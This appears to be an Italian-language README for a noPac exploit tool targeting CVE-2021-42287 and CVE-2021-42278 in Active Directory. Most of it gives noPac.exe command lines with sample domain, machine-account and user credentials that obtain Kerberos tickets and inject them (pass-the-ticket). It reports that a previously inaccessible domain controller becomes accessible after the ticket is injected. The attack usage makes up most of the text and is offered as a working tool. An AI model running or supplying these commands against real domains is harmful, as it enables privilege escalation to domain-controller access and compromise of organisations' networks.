
Exploit per CVE-2021-42287/CVE-2021-42278
Questo progetto nasce dallo studio dei principi di funzionamento di noPac. Sulla base del progetto di cube0x0 sono state apportate alcune modifiche. Nel codice sorgente sono stati aggiunti commenti personali per la comprensione.
L'articolo di analisi della vulnerabilità è disponibile sul mio blog: Analisi di noPac
noPac è lo sfruttamento combinato di due vulnerabilità: CVE-2021-42278 (sAMAccountName spoofing) e CVE-2021-42287 (deceiving the KDC). L'attacco riesce solo se vengono soddisfatte contemporaneamente le condizioni di sfruttamento di entrambe le vulnerabilità.
Examples: Get TGT and ST
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs
Examples: PTT
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
Il metodo più comunemente utilizzato è il PTT:
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
Prima di sfruttare noPac non si ha accesso al DC.

Sfruttamento di noPac.
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

Dopo il PTT, accedendo nuovamente al DC nella finestra corrente, l'accesso riesce.

Nota: il programma può essere eseguito solo su macchine con ambiente .NET 4.0+. Windows Server 2012 include .NET 4.0 per impostazione predefinita, Windows Server 2008 include .NET 3.5 per impostazione predefinita.
Per verificare le versioni di .NET presenti sulla macchina:
dir c:\Windows\Microsoft.NET\Framework64
